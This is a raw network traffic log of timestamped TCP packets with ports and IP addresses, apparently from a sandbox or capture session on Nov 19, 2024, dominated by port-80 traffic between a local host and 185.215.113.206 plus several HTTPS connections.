Nov 19, 2024 20:05:46.198553085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198564053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198575974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198662996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198676109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198700905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198700905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198700905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198700905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198723078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198746920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198766947 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198766947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198779106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198815107 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198832989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198843956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198873043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198883057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198889017 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198889017 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.198956013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198968887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.199053049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.199053049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236696959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236725092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236735106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236802101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236814022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236825943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236838102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236886978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.236886978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236886978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236886978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236886978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236886978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236926079 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.236927986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237015963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237029076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237040997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237052917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237061977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237062931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237123966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237138033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237164021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237175941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237217903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237217903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237217903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237217903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237217903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237274885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237286091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237297058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237308979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237320900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237323046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237323999 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237462044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237474918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237484932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237519979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237556934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237569094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237590075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237590075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237590075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237590075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237590075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237692118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237703085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237713099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237725019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237737894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237749100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237754107 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237754107 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237754107 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237760067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237773895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237786055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237915039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237926960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237938881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.237950087 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.237950087 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238025904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238039017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238096952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238107920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238125086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238132954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238132954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238132954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238132954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238168001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238168001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238193035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238203049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238215923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238329887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238348961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238360882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238370895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238370895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238370895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238372087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238379002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238482952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238496065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238603115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238615036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238626957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238637924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238637924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238637924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238639116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238637924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238651991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238743067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238743067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238823891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238836050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238848925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238859892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238871098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238882065 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238883018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238894939 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238907099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238919973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.238945961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.238945961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.239090919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.239103079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.239113092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.239123106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.239135027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.239146948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.239156008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.239156008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.239156961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.239156961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.239228010 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.261046886 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.261519909 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.263339996 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.280040026 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:46.280085087 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:46.280312061 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:46.280806065 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:46.280822992 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:46.282872915 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.282872915 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.282892942 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.282903910 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.290298939 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.290671110 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.290740967 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.293653965 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.293863058 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.294209003 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.298470020 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.298482895 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.298523903 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.298528910 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.305098057 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:46.305840969 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.305840969 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.305859089 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.305870056 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.305888891 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:46.305896044 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:46.306371927 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:46.308087111 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:46.308193922 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:46.308295965 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:46.308295965 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:46.308326006 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:46.312833071 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.312843084 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.312932014 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.313644886 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.313653946 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.313666105 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.313700914 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.313759089 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.313900948 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.313913107 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.316059113 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.316066980 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.316139936 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.316718102 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.316725969 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.383892059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.775208950 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.222829103 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.222873926 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.222943068 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.223320007 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.223334074 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.356373072 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.356472015 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.356529951 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.361706018 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.361784935 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.361866951 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.363408089 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.363466024 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.363920927 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.364170074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.364216089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.370110035 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.379443884 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.379452944 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.380270004 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.380270004 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.380289078 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.380300045 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.380525112 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.380589008 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.385083914 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.385157108 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.385170937 CET	52497	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.385185957 CET	443	52497	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.392457962 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.392467022 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.398194075 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.398216009 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.398226976 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.398233891 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.465239048 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.465277910 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.465410948 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.466902971 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.466950893 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.467006922 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.470421076 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.473855019 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.473872900 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.473948002 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.473972082 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.474136114 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.474164009 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.475353003 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.475425005 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.488415956 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.500291109 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.501485109 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.501647949 CET	443	52502	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:47.501718998 CET	52502	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:47.538507938 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:47.541748047 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.544622898 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.544812918 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.551081896 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.555439949 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.560425997 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.560445070 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.560686111 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.560712099 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.561613083 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.561625957 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.561669111 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.561841965 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.561906099 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.566241980 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.566252947 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.566862106 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.566884995 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.567075014 CET	52499	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:47.567086935 CET	443	52499	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:47.567363977 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.567471027 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.568058968 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.568128109 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.568209887 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.568273067 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.568340063 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.568425894 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.568615913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.568649054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.568659067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.568687916 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.568687916 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569108009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569159031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569168091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569178104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569206953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569215059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569219112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569241047 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569292068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569324970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569338083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569392920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569423914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569436073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569447041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569459915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569483042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569520950 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569546938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569583893 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569591999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569603920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569724083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569725037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569736004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569746971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569758892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569771051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569782972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569786072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569818020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569843054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569845915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569889069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569909096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569920063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.569946051 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.569946051 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570066929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570079088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570091009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570101023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570101976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570101023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570147991 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570147991 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.570276976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570286989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570298910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570310116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.570321083 CET	80	52448	185.215.113.206	192.168.2.7
